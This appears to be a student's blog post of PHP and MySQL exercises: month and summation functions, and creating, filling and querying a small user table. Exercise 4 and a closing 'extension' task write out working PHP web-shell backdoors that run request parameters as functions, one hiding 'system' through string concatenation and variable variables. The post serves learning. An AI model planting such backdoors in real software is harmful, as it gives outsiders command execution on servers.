PHP、MySQL练习

1、编写一个函数,要求可以根据前端传递的参数判断当前月份,要求传递的数字不符合1-12的规范时有报错提示

<meta charset="utf-8">

<?php

function print_month($month) {
switch ($month) {
case '1':
print '1月' . '<br>';
break;
case '2':
print '2月' . '<br>';
break;
case '3':
print '3月' . '<br>';
break;
case '4':
print '4月' . '<br>';
break;
case '5':
print '5月' . '<br>';
break;
case '6':
print '6月' . '<br>';
break;
case '7':
print '7月' . '<br>';
break;
case '8':
print '8月' . '<br>';
break;
case '9':
print '9月' . '<br>';
break;
case '10':
print '10月' . '<br>';
break;
case '11':
print '11月' . '<br>';
break;
case '12':
print '12月' . '<br>';
break;
default:
print '输入范围错误' . '<br>';
break;
}
}

print_month($_GET['month']);

?>

正确输入

image-20250814161310370

错误输入

image-20250814161334757

2、编写一个函数,要求前端传递参数6,函数执行1+2+3+4+5+6,输出最终结果

<meta charset="utf-8">

<?php

function add($number) {
if ($number < 0) {
echo "请重新输入";
} else {
$sum = 0;
for ($i = 1; $i <= $number; $i++) {
$sum += $i;
}
echo $sum . "<br>";
}
return $sum;
}

echo add($_GET['number']);

?>

image-20250814161819983

3、为写好的两个函数编写注释,解释作用

<!--累加函数-->
<meta charset="utf-8"> <!--设定浏览器以 utf-8 编码解释代码-->
<?php
function add($number) { // 定义函数
if ($number < 0) { // 判断输入是否合法
echo "请重新输入";
} else {
$sum = 0; // 设置一个局部变量 sum 初始值为0
for ($i = 1; $i <= $number; $i++) { // 一个循环用于实现从1累加到输入的数字
$sum += $i; // 进行累加
}
echo $sum . "<br>"; // 输出累加和
}
}
add($_GET['number']);
?>

<!--月份判断函数-->
<meta charset="utf-8"> <!--设定浏览器以 utf-8 编码解释代码-->
<?php
function print_month($month) { // 根据用户输入的数字判断月份
switch ($month) {
case '1': // 若输入的是数字1则输出 `1月`
print '1月' . '<br>';
break;
case '2':
print '2月' . '<br>';
break;
case '3':
print '3月' . '<br>';
break;
case '4':
print '4月' . '<br>';
break;
case '5':
print '5月' . '<br>';
break;
case '6':
print '6月' . '<br>';
break;
case '7':
print '7月' . '<br>';
break;
case '8':
print '8月' . '<br>';
break;
case '9':
print '9月' . '<br>';
break;
case '10':
print '10月' . '<br>';
break;
case '11':
print '11月' . '<br>';
break;
case '12':
print '12月' . '<br>';
break;
default: // 若前面的条件都不满足则输出 `输入范围错误`
print '输入范围错误' . '<br>';
break;
}
}
print_month($_GET['month']);
?>

4、使用动态函数编写一个简单的后门

<?php
$_GET['a']($_GET['b']);
?>

<?php
$func = $_GET['a']; // 动态函数名
$arg = $_GET['b']; // 参数
if (is_callable($func)) {
echo "<pre>";
$func($arg); // 动态执行
echo "</pre>";
}
?>

<?php
echo system('ipconfig');
?>

image-20250814164321546

image-20250814164211175

5、创建一个student数据库,user表,字段包含name,id,tel,属性自定义

create database student;		# 创建数据库
create table user(id int,name char(15),tel char(15),primary key(id)); # 创建表user,字段id 类型int,字段name类型char,字段tel类型char,主键为id

image-20250814171739802

6、将自己的信息和同桌的信息写入字段,根据id查询自己的信息

# 插入数据
insert into user(id,name,tel) value(1145,'wangyuhan',15625463521);
insert into user(id,name,tel) value(1919,'wuyifan',16583254953);

# 查询信息
select id,name,tel from user where id=1145;

image-20250814172305019

7、要求使用select语句查询自己创建的数据库的字段,所属表,所属数据库

select table_schema,table_name,column_name from columns where table_schema='student';

image-20250814172858410

扩展:使用动态函数和可变变量编写一个后门程序

<meta charset="utf-8">
<?php
$grp1 = $_GET['a'];
$grp2 = $_GET['b'];

$grp3 = "s";
$grp4 = $_GET['c'];
$grp5 = $_GET['d'];
$grp6 = $_GET['e'];

$nope = $grp1 . $grp3 . "tem";
$$grp2 = $grp5 . $grp6 . $grp4;
$nope($hkt);
?>

image-20250814190405699

Author: wickt42
Link: http://example.com/2025/08/14/PHP、MySQL练习/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.